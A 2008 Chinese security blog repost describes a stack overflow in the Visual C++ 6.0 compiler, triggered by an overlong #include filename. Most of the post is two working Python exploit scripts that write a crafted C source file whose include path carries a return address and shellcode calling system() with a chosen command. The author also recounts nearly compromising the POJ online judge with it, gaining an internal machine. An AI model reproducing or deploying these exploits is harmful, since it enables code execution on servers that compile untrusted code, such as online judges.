首页 > 网络安全 > vc6.0栈溢出

vc6.0栈溢出

2008年6月20日 发表评论 阅读评论

from:幻影maillist

憋了半年了。
问题处在include的文件名长度未检测。
比如
#include “AAAA….AA”(超多A)
就会挂。

<=2008-2-17 发现漏洞。
2008-3-3 报告给MS,当天收到答复,说正在研究中。
2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏
洞发布安全公告或安全建议,且建议我不要公开。

我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。
可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。
既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。

下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。

<br />vc6_exp.py<br />######################################################################<br />#!/usr/bin/env python<br /># vc6 exploit by cly<br /># 2008-2-17<br />import struct<br /><br />address_jmp_esp = 0x1065AEB3<br />address_system = 0x77BF93C7<br />address_exit = 0x77C09E7E<br />filename = &#039;e.c&#039;<br />cmd = &#039;calc&#039;<br /><br />f = open(filename, &#039;wb&#039;)<br />f.write(&#039;#include "c:&#92;&#92;A&#039; + cmd + &#039;&#124;&#124;&#039; + &#039;A&#039; * (146 - len(cmd))<br />+ struct.pack(&#039;<i&#039;, address_jmp_esp)<br />+ &#039;&#92;x83&#92;xEC&#92;x33&#92;x83&#92;xEC&#92;x65&#92;x8B&#92;xC4&#92;x83&#92;xEC<br />&#92;x04&#92;x89&#92;x04&#92;x24&#92;xE8&#039;<br />+ struct.pack(&#039;<i&#039;, address_system - 0x0012F0AF) + &#039;&#92;xE8&#039;<br />+ struct.pack(&#039;<i&#039;, address_exit - 0x0012F0B4) + &#039;A&#039; * 84 +<br />&#039;"&#039;)<br />f.close()<br />######################################################################<br /><br />vc6_exp2.py<br />######################################################################<br />#!/usr/bin/env python<br /># vc6 exploit by cly<br /># 2008-2-17<br />import struct<br /><br />filename = &#039;e.c&#039;<br />cmd = &#039;calc&#039;<br /><br />address_data = 0x1066EFFB<br /><br />shellcode = &#039;&#92;x32&#92;xC0&#039; # xor al, al<br />shellcode += &#039;&#92;xA2&#92;x9E&#92;xF0&#92;x66&#92;x10&#039; # mov &#91;1066F09E&#93;, al<br />shellcode += &#039;&#92;xA2&#92;xA5&#92;xF0&#92;x66&#92;x10&#039; # mov &#91;1066F0A5&#93;, al<br />shellcode += &#039;&#92;x68&#92;x94&#92;xf0&#92;x66&#92;x10&#039; # push 1066F094 ; ASCII<br />"msvcrt.dll"<br />shellcode += &#039;&#92;xFF&#92;x15&#92;xD8&#92;x31&#92;x65&#92;x10&#039; # call &#91;106531D8&#93; ;<br />kernel32.GetModuleHandleA<br />shellcode += &#039;&#92;x68&#92;x9F&#92;xF0&#92;x66&#92;x10&#039; # push 1066F09F ; ASCII<br />"system"<br />shellcode += &#039;&#92;x50&#039; # push eax<br />shellcode += &#039;&#92;xFF&#92;x15&#92;xDC&#92;x31&#92;x65&#92;x10&#039; # call &#91;106531DC&#93; ;<br />kernel32.GetProcAddress<br />shellcode += &#039;&#92;x68&#92;xA6&#92;xF0&#92;x66&#92;x10&#039; # push 1066F0A6 ; ASCII<br />cmd<br />shellcode += &#039;&#92;xFF&#92;xD0&#039; # call eax<br />shellcode += &#039;&#92;x32&#92;xC0&#039; # xor al, al<br />shellcode += &#039;&#92;x50&#039; # push eax<br />shellcode += &#039;&#92;xFF&#92;x15&#92;xB8&#92;x31&#92;x65&#92;x10&#039; # call &#91;106531B8&#93; ;<br />kernel32.ExitProcess<br /><br />f = open(filename, &#039;wb&#039;)<br />f.write(&#039;#include "c:&#92;&#92;&#039; + shellcode + &#039;A&#039; * (149 - len(shellcode))<br />+ struct.pack(&#039;<i&#039;, address_data) + &#039;msvcrt.dllAsystemA&#039;<br />+ cmd + &#039; &#039; * (90 - len(cmd)) + &#039;"&#039;)<br />f.close()<br />######################################################################

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:vc6.0栈溢出
本文地址:http://www.woyigui.cn/2008/06/20/vc6-stack-overflow/

分类: 网络安全 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*